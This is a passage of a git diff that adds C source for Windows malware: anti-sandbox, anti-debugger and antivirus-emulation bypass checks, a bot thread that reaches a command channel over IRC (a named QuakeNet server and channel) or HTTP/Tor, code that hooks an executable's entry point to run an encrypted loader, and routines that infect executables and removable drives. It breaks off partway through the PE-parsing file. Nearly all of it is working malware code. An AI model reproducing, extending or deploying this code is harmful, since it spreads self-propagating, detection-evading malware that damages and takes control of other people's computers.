+sandboxCheck_00(DWORD dllBaseAdr)
+{
+ // dllBaseAdr-0x1 should be an invalid HANDLE
+ _CloseHandle((HANDLE)(dllBaseAdr-0x1)); // see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx
+ return (_GetLastError() == ERROR_INVALID_HANDLE);
+}
+
+static DWORD
+debugCheck_00(DWORD dllBaseAdr)
+{
+ // see https://books.google.de/books?id=DhuTduZ-pc4C&pg=PA353&lpg=PA353&dq=outputdebugstring+error+code&source=bl&ots=3dkMSmS5cu&sig=ZuCXfiHmd94q1KQgdBIRiPS_uPE&hl=en&sa=X&ved=0ahUKEwj2v97bpPHQAhVFSBQKHRbaAaMQ6AEISjAG#v=onepage&q=outputdebugstring%20error%20code&f=false
+ DWORD errorValue = 0xdeadbabe;
+ _SetLastError(errorValue);
+ char* tmp = __genGarbageFormatStr(512);
+ _OutputDebugString(tmp);
+ free(tmp);
+ return dllBaseAdr;
+}
+
+/* bypass Emulation based AV's: https://www.blackhat.com/docs/us-14/materials/us-14-Mesbahi-One-Packer-To-Rule-Them-All-WP.pdf */
+static DWORD
+emu_bypass_fs2(void)
+{
+ DBUF(COUNTER_KERNEL32_ENUM, __fakeLibKernel32);
+ DBUF(COUNTER_UNKNOWNLIB_ENUM, __unknownLib);
+
+ HMODULE libPtr = _LoadLibrary((LPCSTR)__fakeLibKernel32);
+ if (libPtr == NULL) return 0;
+ libPtr = _LoadLibrary((LPCSTR)__unknownLib);
+ if (libPtr != NULL) return 0;
+ char* libRnd = __genRandAlphaNumStr(10);
+ libRnd[9] = 'L';
+ libRnd[8] = 'L';
+ libRnd[7] = 'D';
+ libRnd[6] = '.';
+ libPtr = _LoadLibrary(libRnd);
+ COMPAT(free)(libRnd);
+ if (libPtr != NULL) return 0;
+ return 1;
+}
+
+/* see: https://github.com/Neosama/AntiSandBox-with-Drivers/blob/master/lib.h */
+static BOOL AntiSandbox_Drivers(void)
+{
+ DBUF(DXGKRNL_ENUM, __dxgkrnl);
+ DBUF(NWIFI_ENUM, __nwifi);
+ DBUF(KSTHUNK_ENUM, __ksthunk);
+ DBUF(VWIFIFLT_ENUM, __vwififlt);
+ LPVOID drivers[1024];
+ DWORD cbNeeded;
+ int cDrivers, i;
+ int score = 0;
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("AntiSandbox: %s, %s, %s, %s\n", __dxgkrnl, __nwifi, __ksthunk, __vwififlt);
+#endif
+ if (_EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
+ TCHAR szDriver[1024];
+ cDrivers = cbNeeded / sizeof(drivers[0]);
+ for (i = 0; i < cDrivers; i++) {
+ if (_GetDeviceDriverBaseNameA(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
+ if (COMPAT(strnicmp)(szDriver, __dxgkrnl, sizeof __dxgkrnl) == 0) {
+ score++;
+ }
+ if (COMPAT(strnicmp)(szDriver, __nwifi, sizeof __nwifi) == 0) {
+ score++;
+ }
+ if (COMPAT(strnicmp)(szDriver, __ksthunk, sizeof __ksthunk) == 0) {
+ score++;
+ }
+ if (COMPAT(strnicmp)(szDriver, __vwififlt, sizeof __vwififlt) == 0) {
+ score++;
+ }
+ }
+ }
+ }
+
+ if (score >= 2)
+ return TRUE;
+
+ return FALSE;
+}
+
+__volatile__ __stdcall void* _main(void* kernel32, void* getProcAdr, void* dllBaseAdr, const struct loader_x86_data* ldr_orig, void* real_dllptr) __asm__("__main");
+
+static DWORD dwRelocDiff = 0;
+
+static BOOL startThread(HANDLE* phThread, LPTHREAD_START_ROUTINE threadFunc)
+{
+ if (*phThread == NULL) {
+ _SetLastError(0);
+ *phThread = _CreateThread(NULL, 0, threadFunc, NULL, CREATE_SUSPENDED, NULL);
+ if (!*phThread)
+ return FALSE;
+ if (*phThread == INVALID_HANDLE_VALUE) {
+ LOG_MARKER;
+ return FALSE;
+ } else {
+ CONTEXT thrdCtx;
+ thrdCtx.ContextFlags = CONTEXT_FULL;
+ _GetThreadContext(*phThread, &thrdCtx);
+ thrdCtx.Eip = (DWORD)threadFunc;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("Thread %p: Set Thread EIP to 0x%p\n", *phThread, thrdCtx.Eip);
+#endif
+ thrdCtx.ContextFlags = CONTEXT_CONTROL;
+ _SetThreadContext(*phThread, &thrdCtx);
+ _ResumeThread(*phThread);
+ }
+ }
+ return TRUE;
+}
+
+static HANDLE hThread = NULL, hNetThread = NULL;
+
+/* Do not use lpParams (broken CreateThread and this is not a valid Windows module! */
+static DWORD WINAPI __attribute__((noreturn)) __thread_net(LPVOID lpParams)
+{
+ (void)lpParams;
+ do {
+ _SwitchToThread(); /* wait until main thread setup all stuff */
+ _WaitForSingleObject(hNetThread, 10000);
+ }
+#ifdef _ENABLE_IRC
+ while (initSocket(_LoadLibrary, _GetProcAddress) != 0);
+#else
+ while (initHttp(_LoadLibrary, _GetProcAddress) != 0);
+#endif
+
+ while (1) {
+
+#ifdef _ENABLE_IRC
+ if (ircLoop("muzzling", "#blkhtm", "dreamhack.se.quakenet.org", "6667") == 0) {
+ shutSocket();
+ }
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s\n", "irc: ERROR");
+#endif
+#else
+ //sendWeb2Tor("/", "GET", NULL, 0); /* testing only */
+ httpLoopAtLeastOnce();
+ uint32_t npt = getNextPingTime();
+ _WaitForSingleObject(hNetThread, (npt > 0 ? npt*1000 : 60000));
+#endif
+ }
+}
+
+/* Do not use lpParams (broken CreateThread and this is not a valid Windows module! */
+static DWORD WINAPI __attribute__((noreturn)) __thread_main(LPVOID lpParams)
+{
+ /* TODO: SetUnhandledExceptionFilter */
+ /* Main Thread, Main Loop */
+ (void)lpParams;
+ while (1) {
+ /* NOTE: At this point dllBaseAdr should always the same as real_dllptr. */
+ /* NOTE: Param dllBaseAdr must be NULL, so _main knows it is already rebased! */
+ _main(NULL, NULL, NULL, getOrigLoader(), NULL);
+ _WaitForSingleObject(hThread, 5000);
+ }
+}
+
+__volatile__ __stdcall void* _main(void* kernel32, void* getProcAdr, void* dllBaseAdr, const struct loader_x86_data* ldr_orig, void* real_dllptr)
+{
+ /* Abort, if not started by own loader/base. */
+ /* (e.g. loaded with LoadLibrary/loadmodule) */
+ if (!ldr_orig)
+ return NULL;
+
+ {
+ void* dllSectionAdr = (void*)ldr_orig->ptrToDLL;
+ uint32_t dllSize = ldr_orig->sizOfDLL;
+
+ /* IMAGE REBASING */
+ if (dllBaseAdr && (DWORD)dllBaseAdr != _MILLER_IMAGEBASE) {
+ dwRelocDiff = dwDoRebase((real_dllptr ? real_dllptr : dllSectionAdr), dllSize, dllBaseAdr);
+ if (!dwRelocDiff) return NULL;
+ } else if (!dllBaseAdr) {
+ /* came from __thread_main(...) */
+ dllBaseAdr = (void*)getImageBase();
+ }
+
+ /* _main called by Thread? */
+ if (hThread != NULL) {
+ goto _THREAD_STARTED;
+ }
+
+ setOrigLoader(ldr_orig);
+ EMBED_BREAKPOINT;
+ if (!kernel32 || !getProcAdr) return NULL;
+ EMBED_BREAKPOINT;
+ setSectionAdr((DWORD)dllSectionAdr);
+ setImageBase((DWORD)dllBaseAdr);
+ setImageSize(dllSize);
+ EMBED_BREAKPOINT;
+ if (!bInitCompat(kernel32, getProcAdr)) return NULL;
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s\n", "AntiAV / AntiDbg");
+#endif
+ /* anti av && anti debug */
+ if (!sandboxCheck_00(getImageBase()))
+ return NULL;
+ EMBED_BREAKPOINT;
+ if (!debugCheck_00(getImageBase()))
+ return NULL;
+ if (!emu_bypass_fs2())
+ return NULL;
+ if (AntiSandbox_Drivers())
+ return NULL;
+
+ /* decrypted dll? if yes, free decrypted dll binary */
+ if (real_dllptr && (void*)ldr_orig->ptrToDLL != real_dllptr) {
+ _VirtualFree(real_dllptr, 0, MEM_RELEASE);
+ }
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s\n", "Starting Threads ..");
+#endif
+ /* Start Main DLL Thread */
+ if (hThread == NULL) {
+ if (!startThread(&hThread, __thread_main)) {
+ LOG_MARKER;
+ } else {
+/*
+#ifdef _PRE_RELEASE
+ _WaitForSingleObject(hThread, INFINITE);
+#endif
+*/
+ }
+ }
+ if (hNetThread == NULL) {
+ if (!startThread(&hNetThread, __thread_net)) {
+ LOG_MARKER;
+ } else {
+/*
+#ifdef _PRE_RELEASE
+ _WaitForSingleObject(hNetThread, INFINITE);
+#endif
+*/
+ }
+ }
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s\n", "Returning to original execution flow.");
+#endif
+ return hThread;
+ }
+
+_THREAD_STARTED:
+
+ /* dwRelocDiff != 0 if relocated */
+ if (dwRelocDiff) {
+ }
+ aes_init();
+
+#ifdef _EXTRA_VERBOSE
+ SIZE_T ldrsiz = 0;
+ BYTE* ldr = getLoader(&ldrsiz);
+ printf("Loader: 0x%p\n", ldr);
+ printf("Loader size: %u (0x%p)\n", getRealLoaderSize(), getRealLoaderSize());
+ printf("Loader content: ");
+ __printByteBuf(ldr, getRealLoaderSize());
+ printf("Running PRE-Release: _main(...) -> %p\n", _main);
+ printf("ImageBase........: 0x%p\n"
+ "ImageSize........: 0x%p\n"
+ "SectionAdr.......: 0x%p\n"
+ "RelocDiff........: 0x%p\n",
+ getImageBase(), getImageSize(), getSectionAdr(), dwRelocDiff);
+
+ COMPAT(free)(ldr);
+#endif
+
+#ifdef _INFECT_DUMMY
+ char* file = "dummy.exe";
+#ifdef _PRE_RELEASE
+ printf("Infecting File: %s\n", file);
+#endif
+ if (bInfectWithMyself(file))
+ {
+#ifdef _PRE_RELEASE
+ puts("Infection done.\n");
+#endif
+ }
+#ifdef _PRE_RELEASE
+ else puts("Infection failed.\n");
+#endif
+#endif
+
+#ifndef _INFECT_DUMMY
+ dwInfectRemovables();
+#endif
+ aes_cleanup();
+ return (void*)0xdeadc0de;
+}
+
diff --git a/source/math.c b/source/math.c
new file mode 100644
index 0000000..c8eafee
--- /dev/null
+++ b/source/math.c
@@ -0,0 +1,135 @@
+#include "compat.h"
+#include "math.h"
+
+
+uint64_t __udivmoddi4(uint64_t num, uint64_t den, uint64_t * rem_p)
+{
+ uint64_t quot = 0, qbit = 1;
+
+ if (den == 0) {
+ asm volatile ("int $0");
+ return 0; /* If trap returns... */
+ }
+
+ /* Left-justify denominator and count shift */
+ while ((int64_t) den >= 0) {
+ den <<= 1;
+ qbit <<= 1;
+ }
+
+ while (qbit) {
+ if (den <= num) {
+ num -= den;
+ quot += qbit;
+ }
+ den >>= 1;
+ qbit >>= 1;
+ }
+
+ if (rem_p)
+ *rem_p = num;
+
+ return quot;
+}
+
+/* slightly modified version from
+ * https://code.google.com/p/embox/source/browse/trunk/embox/src/lib/gcc
+ * _thx_
+ */
+
+UINT64 __udivdi3(UINT64 num, UINT64 den)
+{
+ UINT64 result = 0;
+ int steps;
+
+ if (den == 0)
+ {
+ return 0;
+ }
+
+ steps = 0;
+ result = 0;
+
+ while (!(den & 0x8000000000000000))
+ {
+ den <<= 1;
+ ++steps;
+ }
+
+ do
+ {
+ result <<= 1;
+ if (num >= den)
+ {
+ result |= 1;
+ num -= den;
+ }
+ den >>= 1;
+ }
+ while (steps--);
+
+ return result;
+}
+
+INT64 __divdi3(INT64 num, INT64 den)
+{
+ INT64 quot;
+ int neg;
+
+ num = num < 0 ? (neg = 1, -num) : (neg = 0, num);
+ den = den < 0 ? (neg ^= 1, -den) : den;
+
+ quot = __udivdi3(num, den);
+
+ return neg ? -quot : quot;
+}
+
+INT64 __moddi3(INT64 num, INT64 den)
+{
+ INT64 rem;
+ int neg;
+
+ num = num < 0 ? (neg = 1, -num) : (neg = 0, num);
+ den = den < 0 ? (neg ^= 1, -den) : den;
+
+ rem = __umoddi3(num, den);
+
+ return neg ? -rem : rem;
+}
+
+UINT64 __umoddi3(UINT64 num, UINT64 den)
+{
+ int steps;
+
+ if (den == 0)
+ {
+ return 0;
+ }
+
+ steps = 0;
+
+ while (!(den & 0x8000000000000000))
+ {
+ den <<= 1;
+ ++steps;
+ }
+
+ do
+ {
+ if (num >= den)
+ {
+ num -= den;
+ }
+ den >>= 1;
+ }
+ while (steps--);
+
+ return num;
+}
+
+size_t __pow(size_t x, size_t n)
+{
+ if (n > 0) {
+ return x*__pow(x, n-1);
+ } else return 1;
+}
diff --git a/source/patch.c b/source/patch.c
new file mode 100644
index 0000000..6826619
--- /dev/null
+++ b/source/patch.c
@@ -0,0 +1,247 @@
+#include "compat.h"
+
+#include "utils.h"
+#include "patch.h"
+#include "pe_infect.h"
+#include "log.h"
+#include "loader.h"
+#include "crypt.h"
+
+#include "distorm/distorm.h"
+#include "distorm/mnemonics.h"
+#include "disasm.h"
+
+
+void patchRelJMP(BYTE* buf, DWORD destVA)
+{
+ *(buf) = 0xE9;
+ DWORD dwVALittle = destVA;
+ COMPAT(memcpy)(buf+1, &dwVALittle, 4);
+}
+
+BOOL bPatchLoader(const struct ParsedPE* ppe)
+{
+ /* Patch Loader Trailer */
+ if (ppe->loader86->sizStack < ppe->hdrOptional->SizeOfStackCommit) {
+ /* Loader should reserve at least SizeOfStackCommit bytes at startup. *
+ * (Some WinAPI functions need this!) */
+ ppe->loader86->sizStack += ppe->hdrOptional->SizeOfStackCommit;
+ }
+ ppe->loader86->ptrToDLL = PtrToRva(ppe, ppe->ptrToDLL);
+ ppe->loader86->sizOfDLL = ppe->sizOfDLL;
+ const struct loader_x86_data* orig_ldr = getOrigLoader();
+ if (orig_ldr) {
+ if (ppe->hasLdr) {
+ /* generate xor key/iv */
+ struct loader_x86_data* ldr = ppe->loader86;
+ for (unsigned i = 0; i < LOADER_IVKEYLEN; ++i) {
+ while (ldr->key[i] == 0) ldr->key[i] = xor32_randomkey();
+ while (ldr->iv[i] == 0) ldr->iv[i] = xor32_randomkey();
+ }
+ /* encrypt loader strings */
+ size_t newsiz = xor32n_pcbc_crypt_buf((uint32_t*)&ldr->strVirtualAlloc[0], (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - sizeof(ldr->strVirtualAlloc[0]), &ldr->iv[0], &ldr->key[0], LOADER_STR_IVKEYLEN);
+ if (newsiz != (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - sizeof(ldr->strVirtualAlloc[0])) {
+ LOG_MARKER;
+ }
+ newsiz = xor32n_pcbc_crypt_buf((uint32_t*)&ldr->strIsBadReadPtr[0], (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - sizeof(ldr->strIsBadReadPtr[0]), &ldr->iv[0], &ldr->key[0], LOADER_STR_IVKEYLEN);
+ if (newsiz != (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - sizeof(ldr->strIsBadReadPtr[0])) {
+ LOG_MARKER;
+ }
+ /* check if DLL section in current process image is encrypted */
+ struct ParsedPE* dllpe = COMPAT(calloc)(1, sizeof(struct ParsedPE));
+ if (!bParsePE(ppe->ptrToDLL, ppe->sizOfDLL, dllpe, TRUE)) {
+ /* assume encrypted dll, decrypt it now */
+ const struct loader_x86_data* orig_ldr = getOrigLoader();
+ if (!orig_ldr) {
+ LOG_MARKER;
+ return FALSE;
+ }
+ newsiz = xor32n_pcbc_crypt_buf((uint32_t*)ppe->ptrToDLL, ppe->sizOfDLL, &orig_ldr->iv[0], &orig_ldr->key[0], LOADER_IVKEYLEN);
+ if (newsiz != ppe->sizOfDLL) {
+ LOG_MARKER;
+ }
+ /* if PE-Header is still invalid, an unknown error occurred */
+ if (!bParsePE(ppe->ptrToDLL, ppe->sizOfDLL, dllpe, TRUE)) {
+ LOG_MARKER;
+ COMPAT(free)(dllpe);
+ return FALSE;
+ }
+ }
+ COMPAT(free)(dllpe);
+ /* encrypt DLL section */
+ if (ppe->hasDLL) {
+ newsiz = xor32n_pcbc_crypt_buf((uint32_t*)ppe->ptrToDLL, ppe->sizOfDLL, &ldr->iv[0], &ldr->key[0], LOADER_IVKEYLEN);
+ if (newsiz != ldr->sizOfDLL) {
+ LOG_MARKER;
+ return FALSE;
+ }
+ } else {
+ LOG_MARKER;
+ return FALSE;
+ }
+ } else {
+ LOG_MARKER;
+ return FALSE;
+ }
+ } else {
+ LOG_MARKER;
+ return FALSE;
+ }
+#ifdef _PRE_RELEASE
+ if (ppe->hasLdr) {
+ COMPAT(puts)("LdrXorKey: ");
+ __printByteBuf((unsigned char*)&ppe->loader86->key[0], sizeof(ppe->loader86->key));
+ COMPAT(puts)("LdrXorIV: ");
+ __printByteBuf((unsigned char*)&ppe->loader86->iv[0], sizeof(ppe->loader86->iv));
+ COMPAT(puts)("LdrStrVA: ");
+ __printByteBuf((unsigned char*)&ppe->loader86->strVirtualAlloc[0], sizeof(ppe->loader86->strVirtualAlloc));
+ COMPAT(puts)("LdrStrIBRP: ");
+ __printByteBuf((unsigned char*)&ppe->loader86->strIsBadReadPtr[0], sizeof(ppe->loader86->strVirtualAlloc));
+ }
+ COMPAT(printf)("LdrTrl: %p (%X)\n", PtrToOffset(ppe, (BYTE*)ppe->loader86), PtrToOffset(ppe, (BYTE*)ppe->loader86));
+ COMPAT(printf)("LdrSig: %p , %p , %p\n", ppe->loader86->ptrToDLL, ppe->loader86->sizOfDLL, SWAP_ENDIANESS32(ppe->loader86->endMarker));
+ __printByteBuf(ppe->ptrToLdr, getRealLoaderSize());
+#endif
+ return TRUE;
+}
+
+BOOL bPatchNearEntry(const struct ParsedPE* ppe)
+{
+ if (!ppe || !ppe->valid) return FALSE;
+
+ DWORD dwEntryRVA = ppe->hdrOptional->AddressOfEntryPoint;
+ BYTE* pEntry = RvaToPtr(ppe, dwEntryRVA);
+ SIZE_T maxInstructions = 100;
+ _DecodeResult res;
+ _OffsetType offset = 0;
+ _DecodeType dt = Decode32Bits;
+ unsigned int decodedInstructionsCount = 0;
+
+ unsigned long long int bytesproc = 0, maxbytesproc = 100;
+ unsigned long long int filesize = 0;
+ const unsigned char* entry = (const unsigned char*)pEntry;
+ unsigned int next;
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("AddressOfEntry...: 0x%p\n", dwEntryRVA);
+#endif
+ while (1) {
+ _DInst instData[maxInstructions];
+ res = disasm(offset, entry, ppe->bufSiz, dt, instData, maxInstructions, &decodedInstructionsCount);
+
+ for (unsigned int i = 0; i < decodedInstructionsCount; i++) {
+ bool isRelativeJmpCall = false;
+ _InstructionType optype = instData[i].opcode;
+ switch (optype) {
+ case I_JMP:
+ case I_CALL:
+ isRelativeJmpCall = true;
+ break;
+ }
+#ifdef _PRE_RELEASE
+ switch (optype) {
+ case I_DEC: COMPAT(puts)("\tDEC"); break;
+ case I_INC: COMPAT(puts)("\tINC"); break;
+ case I_ADD: COMPAT(puts)("\tADD"); break;
+ case I_SUB: COMPAT(puts)("\tSUB"); break;
+ case I_MOV: COMPAT(puts)("\tMOV"); break;
+ case I_PUSH: COMPAT(puts)("\tPUSH"); break;
+ case I_POP: COMPAT(puts)("\tPOP"); break;
+ case I_NOP: COMPAT(puts)("\tNOP"); break;
+ case I_JMP: COMPAT(puts)("\tJMP"); break;
+ case I_JMP_FAR: COMPAT(puts)("\tJMP FAR"); break;
+ case I_CALL: COMPAT(puts)("\tCALL"); break;
+ case I_CALL_FAR: COMPAT(puts)("\tCALL FAR"); break;
+ case I_TEST: COMPAT(puts)("\tTEST"); break;
+ case I_CMP: COMPAT(puts)("\tCMP"); break;
+ case I_RET: COMPAT(puts)("\tRET"); break;
+ }
+ if (isRelativeJmpCall)
+ COMPAT(puts)(" REL");
+ COMPAT(printf)("\t%u\t%u\n", (unsigned int)instData[i].size, (unsigned int)instData[i].addr);
+#endif
+ if (instData[i].size >= 5 && instData[i].size <= 10) {
+ size_t szOffEntry = PtrToOffset(ppe, (BYTE*)entry+bytesproc);
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("Found a patchable instruction at 0x%X\n", instData[i].addr);
+ COMPAT(printf)("\tPE-Ptr: %p\n", ppe->ptrToBuf);
+ COMPAT(printf)("\tE-Off.: %p\n", szOffEntry);
+ COMPAT(printf)("\tE-RVA.: %p\n", PtrToRva(ppe, (BYTE*)entry));
+ COMPAT(printf)("\tE-Size: %p\n", instData[i].size);
+ COMPAT(printf)("\tE-Disp: %p (Size: %p)\n", instData[i].disp, instData[i].dispSize);
+ COMPAT(printf)("\tE-Inst: ");
+ __printByteBuf(ppe->ptrToBuf+szOffEntry, 0x10);
+ if (ppe->hasLdr == TRUE) {
+ size_t szOffLdr = PtrToOffset(ppe, ppe->ptrToLdr);
+ COMPAT(printf)("\tLdrRVA: %p (%X)\n", OffsetToRva(ppe, szOffLdr), szOffLdr);
+ COMPAT(printf)("\tLdr...: ");
+ __printByteBuf(ppe->ptrToLdr, 0x10);
+ }
+#endif
+ DWORD dwOffNop = -1;
+ if (ppe->hasLdr) {
+ dwOffNop = offFindNopsled(ppe->ptrToLdr, ppe->sizOfLdr, instData[i].size + SIZEOF_X86_JMP32);
+ }
+ if (ppe->hasDLL && ppe->hasLdr) {
+ /* Patch Loader + PE Exe */
+ COMPAT(memcpy)(ppe->ptrToLdr+dwOffNop, ppe->ptrToBuf+szOffEntry, instData[i].size); // copy replaced orig op to ldr stub
+ /* ReCalculate address of orig op if relative. */
+ if (isRelativeJmpCall) {
+ DWORD tmpAdr = szOffEntry + INSTRUCTION_GET_TARGET(&instData[i]);
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("RelAdr: %p (%u)\n", instData[i].imm.addr, tmpAdr);
+ COMPAT(printf)("RelPtr: %p - %p\n", PtrToRva(ppe, ppe->ptrToBuf + tmpAdr), PtrToRva(ppe, ppe->ptrToLdr + dwOffNop));
+#endif
+ DWORD relAdr = PtrToRva(ppe, ppe->ptrToBuf + tmpAdr) - PtrToRva(ppe, ppe->ptrToLdr + dwOffNop) - instData[i].size;
+ *(DWORD*)(ppe->ptrToLdr + dwOffNop + FLAG_GET_OPSIZE(instData[i].flags)) = relAdr;
+ }
+ offFillNops(ppe->ptrToBuf+szOffEntry, instData[i].size); // fill orig op with nops
+ patchRelJMP(ppe->ptrToBuf+szOffEntry, PtrToRva(ppe, ppe->ptrToLdr)-PtrToRva(ppe, ppe->ptrToBuf+szOffEntry + SIZEOF_X86_JMP32)); // patch jump from orig exe to ldr
+ DWORD origJMPVA = PtrToRva(ppe, ppe->ptrToLdr+dwOffNop+instData[i].size)-PtrToRva(ppe, ppe->ptrToBuf+szOffEntry)-1;
+ patchRelJMP(ppe->ptrToLdr+dwOffNop+instData[i].size, (-1)-origJMPVA); // patch jump back from loader to orig exe
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("LdrNop: Offset: %d (Size: %u)\n", dwOffNop, instData[i].size + SIZEOF_X86_JMP32);
+ COMPAT(printf)("LdrJMP: %p -> %p (%X)\n", PtrToRva(ppe, ppe->ptrToLdr+dwOffNop+instData[i].size), PtrToRva(ppe, ppe->ptrToBuf+szOffEntry), origJMPVA);
+#endif
+ if (!bPatchLoader(ppe)) {
+ LOG_MARKER;
+ }
+ }
+ res = DECRES_SUCCESS;
+ break;
+ }
+
+ bytesproc += instData[i].size;
+ if (bytesproc >= maxbytesproc) break;
+ }
+
+ if (res == DECRES_SUCCESS) break;
+ else if (decodedInstructionsCount == 0) break;
+ if (bytesproc >= maxbytesproc) break;
+ next = (unsigned int)(instData[decodedInstructionsCount-1].addr - offset);
+ next += instData[decodedInstructionsCount-1].size;
+ entry += next;
+ filesize -= next;
+ offset += next;
+ }
+ return TRUE;
+}
+
+int offFindNopsled(const BYTE* buf, SIZE_T szBuf, SIZE_T szNopsled)
+{
+ SIZE_T szCurNopsled = 0;
+ for (SIZE_T i = 0; i < szBuf; ++i) {
+ if (buf[i] == 0x90) {
+ if (++szCurNopsled == szNopsled)
+ return (int)(&buf[i]-buf-szCurNopsled+1);
+ } else szCurNopsled = 0;
+ }
+ return -1;
+}
+
+void offFillNops(BYTE* buf, SIZE_T szFill)
+{
+ BYTE tmpfill[szFill];
+ COMPAT(memset)(&tmpfill[0], 0x90, szFill);
+ COMPAT(memcpy)(buf, &tmpfill[0], szFill);
+}
diff --git a/source/pe_infect.c b/source/pe_infect.c
new file mode 100644
index 0000000..a536aad
--- /dev/null
+++ b/source/pe_infect.c
@@ -0,0 +1,731 @@
+/*
+ * Module: pe_infect.c
+ * Author: Toni <matzeton@googlemail.com>
+ * Purpose: Parses/Modifies a windows portable executable.
+ * Add sections, do image rebasing.
+ * Inject data into sections.
+ */
+
+#include "compat.h"
+#include "utils.h"
+#include "log.h"
+#include "pe_infect.h"
+#include "mem.h"
+#include "file.h"
+#include "aes.h"
+#include "crypt.h"
+#include "patch.h"
+#include "crypt_strings.h"
+#include "xor_strings_gen.h"
+#include "aes_strings_gen.h"
+#include "loader_x86_crypt.h"
+
+
+static DWORD sectionAdr = 0x0;
+static const struct loader_x86_data* orig_ldr = NULL;
+
+/* default dll image base */
+#ifndef _MILLER_IMAGEBASE
+#define _MILLER_IMAGEBASE 0x10000000
+#endif
+static DWORD imageBase = _MILLER_IMAGEBASE;
+static DWORD imageSize = 0x0;
+
+/* AES encrypted byte buffer */
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+_AESDATA_(ldrdata, LOADER_SHELLCODE_DEBUG);
+static SIZE_T real_ldrsiz = LOADER_SHELLCODE_DEBUG_SIZE;
+#else
+_AESDATA_(ldrdata, LOADER_SHELLCODE);
+static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE;
+#endif
+_AESSIZE_(ldrsiz, ldrdata);
+
+
+inline void setOrigLoader(const struct loader_x86_data* ldr) {
+ orig_ldr = ldr;
+}
+
+inline const struct loader_x86_data* getOrigLoader(void) {
+ return orig_ldr;
+}
+
+inline void setImageBase(DWORD newBase) {
+ imageBase = newBase;
+}
+
+inline DWORD getImageBase(void) {
+ return imageBase;
+}
+
+inline void setImageSize(DWORD newSize) {
+ imageSize = newSize;
+}
+
+inline DWORD getImageSize(void) {
+ return imageSize;
+}
+
+inline void setSectionAdr(DWORD newAdr) {
+ sectionAdr = newAdr;
+}
+
+inline DWORD getSectionAdr(void) {
+ return sectionAdr;
+}
+
+BYTE* getLoader(SIZE_T* pSiz)
+{
+ aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ);
+ BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE);
+ aes_free_ctx(ctx);
+ return ldr;
+}
+
+SIZE_T getRealLoaderSize(void)
+{
+ return real_ldrsiz;
+}
+
+inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) {
+ return ((BYTE*)base) + offset;
+}
+
+DWORD RvaToOffset(const struct ParsedPE* ppPtr, DWORD dwRva)
+{
+ PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection;
+ DWORD nSections = ppPtr->hdrFile->NumberOfSections;
+ DWORD dwPos = 0;
+
+ for (SIZE_T i = 0; i < nSections; ++i) {
+ if (dwRva >= sections[i].VirtualAddress) {
+ dwPos = sections[i].VirtualAddress;
+ dwPos += sections[i].SizeOfRawData;
+ }
+ if (dwRva < dwPos) {
+ dwRva = dwRva - sections[i].VirtualAddress;
+ return dwRva + sections[i].PointerToRawData;
+ }
+ }
+ return -1;
+}
+
+inline BYTE* RvaToPtr(const struct ParsedPE* ppPtr, DWORD dwRva)
+{
+ return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva));
+}
+
+DWORD OffsetToRva(const struct ParsedPE* ppPtr, DWORD offset)
+{
+ if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset)
+ return -1;
+ PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection;
+ DWORD nSections = ppPtr->hdrFile->NumberOfSections;
+ DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData);
+
+ for (SIZE_T i = 0; i < nSections; ++i) {
+ if (offset < sections[i].PointerToRawData) {
+ break;
+ }
+ dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData);
+ }
+ return dwPos + ppPtr->hdrOptional->ImageBase;
+}
+
+inline DWORD PtrToOffset(const struct ParsedPE* ppPtr, const BYTE* ptr)
+{
+ DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf;
+ return dwRva;
+}
+
+DWORD PtrToRva(const struct ParsedPE* ppPtr, const BYTE* ptr)
+{
+ return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr));
+}
+
+BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage)
+{
+ ppPtr->valid = FALSE;
+ /* check minimum size */
+ if (szBuf > 0 && szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER))
+ return FALSE;
+ ppPtr->ptrToBuf = buf;
+ ppPtr->bufSiz = szBuf;
+ ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf;
+ if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */
+ return FALSE;
+ /* validate e_lfanew (0xFF >= x >= 0x40) */
+ if ( (szBuf > 0 && szBuf <= (DWORD)ppPtr->hdrDos->e_lfanew) || ppPtr->hdrDos->e_lfanew > 0xFF || ppPtr->hdrDos->e_lfanew < 0x40 )
+ return FALSE;
